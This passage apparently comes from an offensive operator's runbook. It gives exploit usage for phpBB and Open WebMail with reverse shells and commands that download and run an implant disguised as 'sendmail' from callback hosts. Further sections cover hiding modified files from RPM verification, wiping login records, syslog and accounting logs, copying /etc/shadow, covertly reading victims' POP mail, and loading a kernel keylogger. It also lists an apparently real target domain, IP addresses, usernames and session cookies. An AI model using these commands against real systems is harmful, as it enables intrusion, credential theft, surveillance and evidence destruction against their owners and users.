4894#./client -t|-u [tcp/udp] timeadj sport [(valid source ports for the server are: 3, 51, 3854, 5671, 8213, 12634, 16798, 23247, 35139, 47923, 53246, 63201)] hostname[Host IP] dport [(port on which PORKified daemon is listening)] command"
4895
4896./client -t 0 SPORT 127.0.0.1 21 "cd /tmp;mkdir -p .scsi && cd .scsi; cat < /dev/tcp/PITCH_IP/NETCAT_PORT > sendmail.uu && uudecode sendmail.uu && chmod 755 sendmail && PATH=. S=1 D=\"-cPITCH_IP:NOPEN_PORT\" ./sendmail"
4897
4898
4899
4900# use DIZZYTACHOMETER to hide package mismatches
4901
4902############## DIZZYTACHOMETER #################
4903# Most Linux distributions contain a RPM database which stores information on installed files. Thus, if a system file is
4904# modified, the rpm "Verify" command easily alert the sysadmin of the changed file. DIZZYTACHOMETER alters a computer's
4905# RPM (4.1 or higher) database in order to hide a modified file. This is essential when dropping down implants such
4906# as Jackladder and Pork.
4907
4908# Works on Redhat 8 (rpm version 4.1), Redhat 9 (rpm version 4.2), and Mandrake
49099.2 (verison 4.2)
4910rpm --version
4911
4912./DizzyTach -p "packageName" [-f "filepath\file"] [-d] [-r] [-c] [-s] [-m] [-t]
4913[-q] [-V]
4914
4915 or
4916
4917ARGS="-p "packageName" [-f "filepath\file"] [-d] [-r] [-c] [-s] [-m] [-t] [-q] [-V] [-R]" ./DizzyTach
4918
4919# library dependencies in /usr/lib:
4920#
4921# librpm-4.1.so
4922# librpmdb-4.1.so
4923# librpmio-4.1.so
4924# libpopt.so
4925# libbeecrypt.so
4926# libbz2.so
4927
4928-lt /usr/lib/librpm-4.1.so /usr/lib/librpmdb-4.1.so /usr/lib/librpmio-4.1.so /usr/lib/libpopt.so /usr/lib/libbeecrypt.so /usr/lib/libbz
49292.so
4930
4931# or
4932
4933-lt /usr/lib/librpm-4.2.so /usr/lib/librpmdb-4.2.so /usr/lib/librpmio-4.2.so /usr/lib/libpopt.so /usr/lib/libbeecrypt.so /usr/lib/libbz
49342.so
4935
4936example:
4937
4938# Suppose we want to hide /usr/sbin/vsftpd frpm RPM
4939
4940$ whereis vsftpd
4941vsftpd: /usr/sbin/vsftpd
4942
4943# Find the rpm package that is responsible for this file.
4944$ rpm -qf /usr/sbin/vsftpd
4945vsftpd-1.1.3-8
4946
4947
4948# Run the rpm "Verify" command on the vsftpd-1.1.3-8 package.
4949rpm -V vsftpd-1.1.3-8
4950S.5....T /usr/sbin/vsftpd
4951
4952# S, 5, and T were output. This means the vsftpd binary has a different size, md5, and modification time than the
4953# rpm database.
4954
4955-put /current/up/DIZZYTACHSTATIC rpmStatic
4956# final command would be:
4957$ ./rpmStatic -p vsftpd-1.1.3-8 -f /usr/sbin/vsftpd -s -m -t -d -r -c
4958 Reset: OK
4959 SigRepair: NO
4960 Lookup OK Sig Exists
4961 Reset: OK
4962 -d: OK
4963 -m: UPDATED
4964 -s: UPDATED
4965 -t: UPDATED
4966 Commit: OK Tested write of 8392 bytes
4967 Performed write of 8392 bytes
4968 Reset: OK
4969 -r: OK
4970 Commit: OK Tested write of 8392 bytes
4971 Performed write of 8392 bytes
4972 Reset: OK
4973
4974
4975# Check to see if the "vsftpd" is now hidden from rpm
4976$ rpm -V vsftpd-1.1.3-8
4977
4978# This time, /usr/sbin/vsftpd is not output. Our modified file is now hidden from RPM!
4979-rm rpmStatic
4980
4981############################ ESMARKCONANT ##################################
4982# Exploits a vulnerability in the phpBB forum software.
4983# No authentication is required.
4984
4985# target to be running phpBB less than version 2.0.11
4986
4987# usage: ./xp_phpbb.pl -i<url> -t<valid topic_number> -c<commands to run
4988# on target>
4989
4990# -i <http://127.0.0.1:80/forum/>
4991# -t <viewtopic.php?t=[topic_number]>
4992# -c <Command to run on target>
4993
4994#./xp_phpbb.pl -i http://127.0.0.1:80/forum/ -t1 -c"uname -a;ls -la;w"
4995
4996#./xp_phpbb.pl -i http://127.0.0.1:80/forum/ -t1 -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://555.1.2.150:5555/sendmail -O
4997sendmail;chmod +x sendmail;D=-c555.1.2.150:9999 PATH=. sendmail) 2>/dev/null"
4998
4999
5000
5001
5002# 2 step troubleshooting
5003-tunnel
5004l 80 TARGET_IP
5005r NETCAT_PORT
5006
5007nc 127.0.0.1 80
5008telnet 127.0.0.1 80
5009GET /phpBB2/ HTTP/1.0
5010
5011# response should be:
5012# Powered by phpBB 2.0.4
5013
5014# determine if viewtopic.php is vulnerable
5015./xp_phpbb.pl -i http://127.0.0.1:80/forum/ -t1 -c"uname -a;ls -la;w"
5016
5017# response should have the output of the commands in the request:
5018# ...
5019# <br/>
5020
5021cd /current/up
5022#locally to setup fowget to put rat on target since no uudecode
5023echo -e "HTTP/1.0 200\n" > new
5024cat new noserver > sendmail
5025nc -v -l -p NETCAT_PORT < sendmail
5026
5027# on PITCH
5028-nrtun RAND_PORT
5029
5030# upload and execute nopen
5031./xp_phpbb.pl -i http://127.0.0.1:80/forum/ -t1 -c"(mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://PITCH_IP:NETCAT_PORT/sendmail
5032 -Osendmail;chmod +x sendmail;D=-cPITCH_IP:RAND_PORT PATH=. sendmail) 2>/dev/null"
5033
5034# clean web access log
5035######### SNMPWALK
5036-tunnel
5037u 161 TARGET_IP
5038
5039snmpwalk 127.0.0.1 -c COMMUNITY_STRING .system
5040#snmpwalk -v1 -c Ult1mate 127.0.0.1 .system
5041#snmpwalk -v2c -c Ult1mate 127.0.0.1 .system
5042#snmpwalk -v1 -c tenkap 127.0.0.1 enterprises.9.9.23.1
5043
5044
5045
5046# Software info....
5047snmpwalk 555.1.2.240 -c COMMUNITY_STRING jetson .system
5048
5049# Hardware info .....
5050snmpwalk 555.1.2.240 -c COMMUNITY_STRING jetson 47.1.1.1.1.2
5051
5052# CDP neighbors
5053snmpwalk 555.1.2.240 -c COMMUNITY_STRING jetson enterprises.9.9.23.1
5054
5055# Flash Stuff
5056snmpwalk 555.1.2.240 -c COMMUNITY_STRING jetson 16
5057snmpwalk 555.1.2.240 -c COMMUNITY_STRING jetson enterprises.9.2.10.17.1.1
5058
5059# Arp Cache
5060snmpwalk 555.1.2.240 -c COMMUNITY_STRING jetson
5061ip.ipNetToMediaTable.ipNetToMediaEntry.ipNetToMediaPhysAddress
5062
5063# Route info
5064# not sure on this one what you want....
5065# gives 1500 lines on our jetson.net switches
5066snmpwalk 555.1.2.240 -c COMMUNITY_STRING jetson ip.ipRouteTable |wc
5067
5068
5069
5070
5071
5072#####################################################
5073# EVOKEPROMPT
5074#####################################################
5075
5076# In netscape/mozilla to get magic cookie:
5077# Tools->Cookie Manager->Manage Stored Cookies
5078# click on your cookie; take note of name and Information
5079# change name-sessionid and OWVSdif1.AMY to name and Information
5080# for the following command
5081# change callback IP
5082
5083in /etc/hosts, add the dns target name to 127.0.0.1
5084
5085
50861.EVOKEPROMPT Software Description:
5087
5088 - Exploits a vulnerability in a CGI against the Open WebMail system. The request is parsed by the openwebmail-folder.pl CGI and is transferred to a perl open call which allows
5089 arbitrary command execution. Open WebMail runs on FreeBSD, Linux, Solaris, and most Unix servers.
5090
5091 - The Open WebMail system runs as "nobody", therefore a local exploit is needed if root access is required.
5092
5093 - Since it's a logic error, the same exploit will work on all versions of Unix.
5094
5095 2.EVOKEPROMPT Usage:
5096
5097 # ./xp_downloadfolder
5098 usage: ./xp_downloadfolder -i<host> -u<user> -a<user-sessionid> -b<session number> -p<port> -c<commands to run on target>
5099
5100 -i <hostname|IP>
5101 -p <default Port = 80>
5102 -c <command to run on target>
5103 -u <user>
5104 -a <user-sessionid which appears in the cookie>
5105 -b <session number which appears in the URL>
5106
5107 Examples:
5108 1) ./xp_downloadfolder -i127.0.0.1 -ufuzz -a"OWNkEmsJpDdMg" -b0.0195130566871775 -c"mkdir /tmp/.scsi; cd /tmp/.scsi; cat</dev/tcp/555.1.2.150/4444>sendmail;chmod +x
5109 sendmail;sleep 60;PATH=. D=-c555.1.2.150:5555 sendmail"
5110
5111 2) ./xp_downloadfolder -i127.0.0.1 -ufuzz -a"OWNkEmsJpDdMg" -b0.0195130566871775 -c"PATH=/usr/bin w"
5112
5113 3) ./xp_downloadfolder -i127.0.0.1 -ufuzz -a"OWNkEmsJpDdMg" -b0.0195130566871775 -c"sh</dev/tcp/555.1.2.150/4444>&0 2>&0"
5114
5115 3.Target Susceptablility:
5116
5117 EVOKEPROMPT requires the target to be running Open WebMail 2.10 or higher.
5118
5119 4.On what will EVOKEPROMPT fail?
5120 Will not work on older versions of Open WebMail. Versions that will not work include Open WebMail 1.80, 1.90, 2.00.
5121
5122 5.EVOKEPROMPT Additional Requirements:
5123 Need username/password to authenticate.
5124 Local exploit based upon the operating system. Could use DTAPPGATHER for Solaris, rfork for FreeBSD, or ptrace for Linux.
5125
5126 6.Give troubleshooting instructions:
5127 There are the steps in troubleshooting EVOKEPROMPT:
5128 1. Determine if the webserver is running Open WebMail 2.10 or higher:
5129 # galeon http://targetip/
5130
5131 2. Determine the OS based upon "User Preference/About" in the Open WebMail system.
5132
5133 7.EVOKEPROMPT Example Usage:
5134
51351) <Open up a browser to the target address>
5136 # galeon http://127.0.0.1/
5137
5138 2) Enter the UserID and Password. For the rest of this example, UserID is name.
5139
5140 3) Set up Nopen to listen for a connection.
5141 # noclient -l 123
5142 or
5143 # -nrtun 123
5144
5145 4) View the cookie for "Site" (in this case, 127.0.0.1) and "Cookie Name" (in this case, name-
5146sessionid). The value
5147 should be similar to this: OWVSdiyf1.AMY
5148
5149 5) Also, need to use the session ID in the URL, for example: sessionid=name*-session-0.2724838
515093045322
5151
5152 6) Send the exploit using xp_downdloadfolder with the above information:
5153
5154 # ./xp_downloadfolder -i127.0.0.1 -uname -a"OWNkEmsJpDdMg" -b0.0195130566871775 -c"mkdir / tmp/.scsi; cd /tmp/.scsi; cat</dev/tcp/555.1.2.150/123>sendmail;chmod +x sendmail;sleep 60;PATH=. D=-c555.1.2.150:123 sendmail"
5155
5156
5157# this worked on faintspirit
5158./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"/usr/bin/wget http://203.234.72.4:443"
5159
5160# others
5161./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWXIer7nk2%2FpM" -b0.535692078600736 -c"(sh</dev/tcp/203.234.72.4/40151>&0 2>&0)"
5162./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"sh</dev/tcp/203.234.72.4/40151>&0 2>&0"
5163./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"/usr/bin/w; /bin/date"
5164./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"/usr/bin/wget http://203.234.72.4:443"
5165./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"/usr/bin/wget http://203.234.72.4:443"
5166./xp_downloadfolder -i127.0.0.1 -utonggl -a"OWKyenMN8jyV2" -b0.125111049580486 -c"mkdir /tmp/.scsi; cd /tmp/.scsi; /usr/bin/wget http://203.234.72.4:443/sendmail; chmod 700 sendmail; PATH=. D=-c203.234.72.4:46776 sendmail"
5167
5168# abort the curl command, then modify the string to have the "ow-sessionkey-mail.ihep.ac.cn-", https://127.0.0.1:443, and "=tonggl*mail.ihep.ac.cn-session-" info included
5169
5170# wget nopen (this worked):
5171curl --cookie "ow-sessionkey-mail.ihep.ac.cn-tonggl=OWKyenMN8jyV2" "https://127.0.0.1:443/cgi-bin/openwebmail/openwebmail-folder.pl?sessionid=tonggl*mail.ihep.ac.cn-session-0.125111049580486&folder=|(echo%20%27mkdir%20FtmpFEscsi%3B%20cd%20FtmpFEscsi%3B%20FusrFbinFwget%20http%3AFF2G3E234E72E4%3A443Fsendmail%3B%20chmod%207GG%20sendmail%3B%20PATH%3DE%20D%3D-c2G3E234E72E4%3A46776%20sendmail%27%7CPATH%3D%60printf%20%27%5C057usr%5C057bin%27%60%20tr%20E-G%20.-0%7CPATH%3D%60printf%20%27%5C057bin%27%60%20sh)&action=downloadfolder"
5172
5173
5174
5175### In a local scripted window, set up a netcat to listen for a connection:
5176
5177nc -vv -l -p NETCAT_PORT
5178
5179
5180### try connecting via netcat after any "session failed" message when redirecting:
5181unset HISTSIZE
5182unset HISTFILESIZE
5183unset HISTFILE
5184w
5185uname -a
5186### start a netcat with the right nopen version (don't need to uuencode with /dev/tcp way)
5187### nc -l -p NETCAT_PORT < sendmail
5188pwd
5189mkdir /tmp/.scsi; cd /tmp/.scsi; pwd
5190ls -l /usr/bin/uudecode
5191/bin/cat</dev/tcp/203.234.72.4/39588>/tmp/.scsi/sendmail
5192chmod 700 sendmail
5193PATH=. sendmail
5194id
5195
5196
5197grep -v "203.234.72.4" /home/ihep/tonggl/.openwebmail
5198-gs grepout -d -w /tmp/.scsi "203.234.72.4" /home/ihep/tonggl/.openwebmail/history.log
5199-gs grepout -d -w /tmp/.scsi "203.234.72.4" /home/ihep/chep2001/.openwebmail/history.log
5200
5201-gs grepout -d -w /tmp/.scsi "203.234.72.4" /var/log/openwebmail.log
5202
5203grep -v "203.234.72.4" /var/log/openwebmail.log> o; cat o > /var/log/openwebmail.log
5204
5205
5206
5207
5208
5209
5210 7) Check the following logs and directories:
5211
5212 /home/name/.openwebmail/history.log
5213 /var/log/httpd/access_log
5214 /var/log/openwebmail.log
5215 /home/name/mail
5216 /home/name
5217 /var/www/cgi-bin/openwebmail/etc/sessions/
5218
5219
5220
5221#####################################################
5222# POPPING MAIL FROM A TARGET
5223#####################################################
5224
5225### You'll be listing the messages from within a scripted window
5226### You'll need to devise a way to separate the mail for multiple users (for tuckering)
5227### if you are accessing more than one account
5228### You might try using a separate scripted window for each user, then copying
5229### the scripted window to the name of the user for post-processing
5230### The session timeout is fairly short so have your commands ready to paste
5231### You have to "guess" where the newest mail is, so you might want to start
5232### backwards to get the most recent mail, IF that applies and the mail is
5233### sorted by date
5234
5235### IMPORTANT!!!!!! DO NOT "QUIT" THE SESSION!!!! LET IT TIMEOUT,
5236### OR CLOSE THE TUNNEL TO HAVE IT DROP THE CONNECTION.
5237### You do not want the mail marked as "read" or anything else.
5238
5239### set up tunnels on redirector:
5240
5241-tunnel
5242l 110 TARGET_IP
5243
5244
5245
5246### in a local scripted window:
5247
5248telnet 127.0.0.1 110
5249USER <USERNAME>
5250PASS <PASSWD>
5251LIST
5252RETR 1
5253RETR 2
5254RETR 3
5255RETR 4
5256RETR 5
5257
5258RETR 6
5259RETR 7
5260RETR 8
5261RETR 9
5262RETR 10
5263...
5264...
5265...
5266
5267### If the session hasn't timed out, close the tunnel channel to move on to the
5268### next user or to end the op
5269
5270
5271
5272#############################################################################
5273
5274############ I AM ROOT!
5275
5276#############################################################################
5277
5278###path with NO Working directory for atjob
5279#-setenv PATH=:/usr/bsd:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc
5280-setenv PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
5281
5282HISTFILE="" ksh
5283
5284 # or
5285
5286unset HISTFILE
5287unset HISTSIZE
5288unset HISTFILESIZE
5289
5290-ls
5291
5292-rm sendmail sendmail.uu
5293
5294# Look for and clean (if necessary) logs
5295
5296###### FORENSICS ##############
5297
5298=info
5299
5300df -k
5301-find <directory1> <directory2>
5302
5303-gs survey
5304-ls /var/spool/cron/crontab
5305-strings /platform
5306 ## /platform/SUNW,SystemEngine
5307
5308
5309### See who's on, note uptime and load; verify time/timezone; see who's been on
5310w; date; last -80
5311
5312### Change owner/group/modes...if in doubt, see what's already in "/tmp"...
5313-ls -t / /tmp
5314
5315### core files?
5316-ls /core
5317
5318### Root users:
5319-ls /var/adm/sulog
5320-vget /var/adm/sulog
5321
5322### owner:group should be root:sys...
5323chown -R root:sys /tmp/.scsi; chmod -R og-rwx /tmp/.scsi; ls -al
5324
5325### Baseline swap
5326/sbin/ps -elf; swap -l; uptime
5327
5328### Enough space to upload tools? Any partitions about to fill up?
5329df -k
5330
5331
5332################ OTHER CLEANING ################
5333
5334#################################
5335### TOAST the login entries.....
5336#################################
5337
5338### Target window
5339-put ../up/toast t
5340
5341### TO VIEW...
5342./t -u /var/adm/utmp
5343./t -u /var/adm/wtmp | tail -20
5344./t -x /var/adm/utmpx
5345./t -x /var/adm/wtmpx | tail -20
5346./t -l /var/adm/lastlog | tail
5347
5348### TO ZAP...
5349./t -u /var/adm/utmp tty date
5350./t -u /var/adm/wtmp tty date
5351./t -x /var/adm/utmpx tty date
5352./t -x /var/adm/wtmpx tty date
5353./t -l /var/adm/lastlog /var/adm/wtmp[x] user
5354
5355
5356#################################
5357### SGREP messages
5358#################################
5359-put ../up/sgrep s
5360
5361-tail /var/adm/messages
5362
5363### To look first:
5364./s "unique string" /var/adm/messages
5365
5366### To replace with a string of equal or shorter length
5367./s "unique string" "replacement string" /var/adm/messages
5368
5369#################################
5370### SGREPSUB (numerous things to grep)
5371#################################
5372
5373
5374usage: sgrepsub -i /tmp/messages -r /tmp/rand -c 31
5375 -i <infile: lines to be replaced by sgrep>
5376 -r <replacement file: substitution lines>
5377 -c <column to start replacing: use vi <ctl g> to find the column number>
5378 -h <help>
5379 -f <filename string: default = /var/log/messages>
5380 -s <sgrep alias: default = ./s>
5381ex: sgrepsub -i /tmp/messages -r /tmp/rand -c 31 -f /var/log/messages
5382
5383
5384### Locally, create a file containing the lines you want to change from /var/adm/messages
5385
5386cd /current/down
5387vi sg.input
5388
5389### Locally, create a 2nd file containing one or more lines of replacement strings
5390cd /current/down
5391vi sg.repl
5392
5393### Locally, run
5394sgrepsub -i sg.input -r sg.repl -c <COL_NUM> -f /var/adm/messages -s ./s
5395
5396### Verify the output, then paste the generated commands in the target window
5397
5398#################################
5399### PCLEAN (put up right one)
5400#################################
5401
5402-put ../up/pcleanTAB sendmail
5403
5404-ls
5405
5406### make sure to exit all but one window (processes log upon completion)
5407
5408
5409### Pclean usage:
5410### -e: look for null entries
5411### -i: calc number of entries in file
5412### -r: looks for entries with gid=root
5413### -t: search this time range
5414### -l: search for last X hours
5415### -S: ignore matches in the following string?
5416
5417### Usage:
5418./pclean [-h(elp)] [-d] [selection_option(s)] [filename]
5419 -d: DELETE selected entries
5420
5421
5422Selection options: (Two or more selection options are ANDed together)
5423--------------------------------------------------------------------
5424 no options: print all entries to stdout and exit
5425
5426 -h(elp): self expl
5427
5428 -e: list null entries; all other select criteria ignored
5429
5430 -f fname: delete whitespace-separated numeric entries
5431 listed in "fname"
5432 (numbers must be in numeric order -- try the
5433 "sort -n" option if necessary)
5434
5435 -r: list entries w/ gid == root
5436
5437 -i calculate # of entries in the file
5438 (all other selection options ignored)
5439
5440 -l num_hrs list entries whose start time was within last num_hrs hours
5441
5442 -n numeric_list: select numeric ranges and/or individual entries
5443 (numeric list CANNOT have spaces and MUST be
5444 in numeric order and comma-separated)
5445 e.g.: -n 1-1024,1080,6666,31337
5446 ** NOTE: USING EITHER THE -n OR -L OPTION CAN
5447 ** SIGNIFICANTLY IMPROVE PROCESSING TIME
5448
5449 -L number: select the last number of entries
5450 ** NOTE: USING EITHER THE -n OR -L OPTION CAN
5451 ** SIGNIFICANTLY IMPROVE PROCESSING TIME
5452
5453 -k numeric_list: slower version of -n (doesn't use lseek)
5454
5455 -t time_range: entries that fall within time range, specifed
5456 as [[CC]YY]MMDDhhmm[.SS]-[[CC]YY]MMDDhhmm[.SS]
5457 (no spaces)
5458 e.g. 8 Jul 1999 from 10am to 11am:
5459 -t 199907081000-199907081100
5460
5461 -c cmd_name: strncmp() search for 1st 8 chars of commands that
5462 match cmd_name
5463
5464 -s "cmd1|cmd2|...": strncmp() search for 1st 8 chars
5465 of commands that DO match a list of '|'
5466 separated strings (kinda like egrep)
5467
5468 -S "cmd1|cmd2|...": strncmp() search for 1st 8 chars
5469 of commands that DON'T match a list of '|'
5470 separated strings (kinda like egrep -v)
5471
5472
5473
5474### LOCALLY, make pclean dir
5475-lsh mkdir /current/down/pclean
5476
5477### Make sure your path is correct:
5478### redo path with WORKINGDIR
5479-addpath .
5480
5481### or equivalently:
5482### DEC:
5483#-setenv PATH=/usr/.advtags:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc:/usr/ucb
5484
5485### OTHER:
5486#-setenv PATH=/tmp/WORK_DIR:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc:/usr/ucb
5487
5488
5489### newer way
5490
5491#### Checks number of processes in file? Informational
5492#### This one doesn't do any cleaning yet.
5493sendmail -i; date
5494
5495### This works for ICESKATE (DEC)
5496#sendmail -r -l 4 -S "sendmail|imapd|idled|mail.lo|popper|sshd|in.ident|syslogd|telnetd|ipop3d|imapd" > T:/current/down/pclean/o
5497## safest way for SPARC
5498sendmail -l 4 > T:/current/down/pclean/o
5499
5500### Locally, edit file and remove any excess entries
5501### Use following on local host to convert into input format:
5502cp o o.orig
5503
5504### Delete header and footer lines, along with any processes that
5505### don't appear to be us
5506vi o
5507
5508### Convert the file into input format (process ref numbers only): OR in vi: :%s/ .*//g
5509cut -f1 -d ' ' o > i
5510 # or
5511cut -f1 -d ' ' o.grep > i
5512
5513### Verify the file to be uploaded is correct:
5514cat i
5515
5516### upload input file
5517-put /current/down/pclean/i i
5518-ls
5519
5520### DON'T RUN ANY MORE NON-BUILTIN COMMANDS ON TARGET AFTER THIS COMMAND!!!!!
5521### Delete our entries
5522sendmail -d -f i > T:/current/down/pclean/o.after
5523
5524### Locally, edit file and remove any excess entries
5525### verify pclean worked:
5526cat o.after
5527
5528### Paste the final 'sendmail' cleanup line from o.after on the target
5529### until it says "no entried selected"
5530
5531### Extra cleanup
5532
5533### reset timestamp on /usr after rm /usr/.advtags
5534-rm sendmail i
5535
5536
5537### DO NOT RUN ANY MORE NON-BUILTIN COMMANDS or you'll HAVE TO PCLEAN AGAIN!!!!
5538
5539
5540######################################################################################
5541
5542
5543### check logs
5544#grep 217.53.1.2 /var/adm/SYSLOG /var/log/syslog
5545
5546grep PITCH_IP /var/adm/SYSLOG /var/log/syslog /var/adm/messages
5547
5548### Get a reboot history through a combination of the following:
5549### Take note if anyone was on the console around the time of any reboots
5550last | egrep "down|boot|console"
5551last -15 boot
5552
5553-tail /var/adm/sulog
5554
5555#### CHECK FOR ACCOUNTING...
5556-ls /var/adm/*acct
5557-ls -t /var/spool/cron/crontabs
5558grep acct /var/spool/cron/crontabs/*
5559-ls /var/spool/cron/atjobs
5560grep acct /var/spool/cron/atjobs/*
5561
5562#### (1) What's the current local time?
5563### (2) Is the platform close to what we thought?
5564### (3) Do we have some available disk space?
5565### (4) Are there currently any at jobs?
5566date; uname -a; df -k; at -l
5567
5568### check for remote monitoring
5569#-ls -t /var/adm/syslog.dated
5570#-ls -t /var/adm/syslog.dated/current/
5571#-tail -70 /var/adm/syslog.dated/current/auth.log
5572#-tail -70 /var/adm/syslog.dated/current/daemon.log
5573#-tail -70 /var/adm/syslog.dated/current/mail.log
5574#-tail -70 /var/adm/syslog.dated/current/others.log
5575#egrep "PITCH_IP|inetd| ident" /var/adm/syslog.dated/current/*.log
5576
5577
5578### check other logs
5579-ls -t /var/adm
5580-ls -t /var/log
5581
5582
5583####### LINUX VALIDATOR TECH CHECKS:
5584hostname
5585=mkoffset
5586-ifconfig
5587
5588### Looking for libint.so in maps:
5589-ls /proc/1/
5590cat /proc/1/maps
5591
5592### check access times:
5593-lt /lib/libinit.so
5594-ls -u /lib/libinit.so
5595
5596### should NOT exist:
5597-lt /etc/ld.so.preload
5598
5599
5600### see if lock file is there, pull if not too big:
5601-lt /var/spool/lpd/_default
5602 -get /var/spool/lpd/_default/<lockname>
5603
5604
5605### check reboots:
5606-ls -t /var/log/*ksym*
5607
5608### check logs around time of last callback:
5609-ls -t /var/log/mess*
5610 -get /var/log/mess*
5611
5612### pull this (should compress well):
5613-lt /var/log/lastlog
5614 -get /var/log/lastlog
5615
5616-ls -t /root
5617-get -v /root/.bash_history
5618
5619
5620
5621############# For LINUX
5622-ls /var/spool/cron
5623-ls /var/run/utmp
5624-ls /var/log/wtmp
5625
5626netstat -an
5627netstat -anlp
5628
5629###### shows dates of reboots:
5630-lt /var/log/ksyms*
5631
5632### Like uname -a
5633-cat /etc/*release
5634uname -a
5635
5636### Like psrinfo -v:
5637cat /proc/cpuinfo
5638
5639 # Kernel info - vmlinux
5640stat /dev
5641stat /sbin/init
5642-lt /boot
5643-get /boot/System.map*
5644-lt /etc
5645-get /etc/lilo.conf
5646mount
5647-ls /sbin/init
5648cksum /sbin/init
5649lsmod
5650-ls /sbin
5651ls -l /proc/1/exe
5652-ifconfig
5653netstat -npa
5654
5655 # For SS
5656/proc/config.gz
5657/boot/config-`uname -r`
5658/proc/version
5659/usr/src/linux-`uname -r`/.config
5660/usr/src/linux-`uname -r`/configs/*.config
5661
5662 # For JL
5663rpm -qa |grep xinet
5664-strings /usr/sbin/xinetd |grep Version
5665-get /usr/sbin/xinetd
5666-ls /etc/xinetd.conf
5667grep "disable" /etc/xinetd.d/*
5668chkconfig --list
5669
5670
5671
5672######## END FORENSICS ##########################
5673
5674############- Create our slash and burn at job
5675
5676cd /; echo "rm -rf /tmp/.scsi > /dev/null 2>&1" | at now + 180 minutes
5677cd /; echo "kill -9 ###FINSPID### > /dev/null 2>&1" | at now + 180 minutes
5678at -l; date
5679
5680### vi commands to (1) mark, (2) modify file for at job, (3) jump back here
5681mx
5682:%s/at -r ### /at -r /g
5683`x
5684
5685### redo path with WORKINGDIR
5686-setenv PATH=/tmp/.scsi:/bin:/usr/bin:/sbin:/usr/sbin:/etc:/usr/etc:/usr/ucb
5687
5688### What protocols are serviced by 'inetd'...
5689grep -v "^#" /etc/inetd.conf
5690
5691### Which facilities and levels are getting logged to which files/hosts...
5692grep -v "^#" /etc/syslog.conf
5693
5694### Named config files
5695-ls /etc/named*
5696-ls /var/named*
5697
5698
5699
5700### ASET (Automated Security Enhancement Tool) CHECK...
5701###
5702### After connecting and creating/cd-ing to your "working
5703### directory" in /tmp
5704
5705grep aset /var/spool/cron/crontabs/*
5706
5707### if aset if running, look for path after the "-d" option
5708### i.e. 0 0 * * * /usr/aset/aset -d /usr/aset
5709### /usr/aset would be the path we're looking for
5710### if this path is _not_ /usr/aset, run the following commands
5711### as is AND a second time replacing /usr/aset with the path
5712### from the cron job
5713
5714#ls -al /usr/aset
5715#ls -al /usr/aset/reports/latest
5716
5717### ASET Tasks...
5718#ls -al /usr/aset/tasks
5719#tar cvf as.t /usr/aset/tasks; ls -la
5720
5721#### ASET Archives...
5722#ls -al /usr/aset/archives
5723#tar cvf as.a /usr/aset/archives; ls -la
5724
5725#### ASET Master Files...
5726#ls -al /usr/aset/masters
5727#tar cvf as.m /usr/aset/masters; ls -la
5728
5729#### Download any ASET tar files and remove from tmp dir on target
5730
5731
5732
5733################ Locally, look thru find ################################
5734
5735#### Typical grep's on downloaded 'find' file
5736#### Do on local host after downloading files. Collectively...
5737
5738cd /current
5739
5740egrep '(tftpboot|cisco|router|hack|\.\.\.|tacac|ssh)' *m
5741 ## or, singly...
5742grep cgi-bin *m
5743grep tftpboot *m
5744grep cisco *m
5745grep router *m
5746grep hack *m
5747grep "\.\.\." *m
5748grep ssh *m
5749grep tac *m |egrep '(passwd|pwfile|etc|wtmp|conf|plus)'
5750
5751#### Since we're looking at 'find', TRIPWIRE could be elsewhere, too...
5752#### Collectively...
5753egrep '(trip|twz|tw\.config)' *m
5754 # or, singly...
5755grep trip *m
5756grep twz *m
5757grep "tw\.config" *m
5758
5759### look for history files
5760grep history *m
5761
5762
5763### Extra -local window
5764
5765#lsstamp -c 2 -s sorts based on atime (good for finding config files)
5766#lsstamp -c 3 -s sorts based on ctime (good for finding hacker activity)
5767
5768# OR
5769
5770# ./mkfinds -h
5771# ./mkfinds
5772
5773###################################################################################
5774###################################################################################
5775
5776### PASSWD FILE?
5777# get -l option will disconnect absolute path locally
5778-ls /etc/passwd /etc/shadow
5779-get -l /etc/passwd /etc/shadow
5780
5781############# MAILGRAB ##############################
5782
5783# Strifeworld Collection
5784
5785-setenv PATH=/tmp/.scsi:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
5786
5787who -b
5788
5789######################################################
5790# SUCTIONCHAR
5791######################################################
5792# 32 or 64 bit OS - solaris sparc 8,9
5793# Kernel level implant - transparent, sustained, or realtime
5794# interception of procoess input/output vnode traffic.
5795# retrieve later
5796
5797# filter: ssh, telnet, rlogin, rsh, password, login, csh , su
5798
5799# max bytes collected per session is 32 kilobytes
5800# max bytes collected for all sessions is 1 megabyte
5801# don't take up more than 1% of system's memory
5802
5803# to determine if suctionchar is loaded on a system is to
5804# open a command channel to the implant as described in
5805# authenticate and yyserv tool and demo sections. If this
5806# fails and receives the error "Bad Address" when trying to
5807# modload the instant grat module; function call needs patch
5808# can't be found, probably because already been patched by a
5809# version of suctionchar already running
5810
5811# SUCTIONCHAR will go away at reboot
5812# if offset involved with target, must set op box time to match target time
5813
5814# INSTALLING SUCTIONCHAR
5815uname -a
5816isainfo -v
5817
5818-cd /tmp/.scsi
5819
5820cp /usr/sbin/modload ml
5821cp /usr/sbin/modinfo mi
5822
5823### if running 32 AND 64 bit, upload 64 bit:
5824# 64 bit
5825-put /current/up/sparcv9/sum sum
5826# else 32 bit
5827-put /current/up/sum sum
5828
5829-lt sum
5830### install it:
5831./ml sum
5832
5833### make sure sum doesn't show up in modinfo:
5834./mi
5835
5836### note size of sum for dd command:
5837-lt sum
5838
5839### Run dd to zero out 'sum' binary so its contents can't be recovered from disk after deletion
5840#
5841# say size of sum is 34364, need for count in dd
5842#
5843
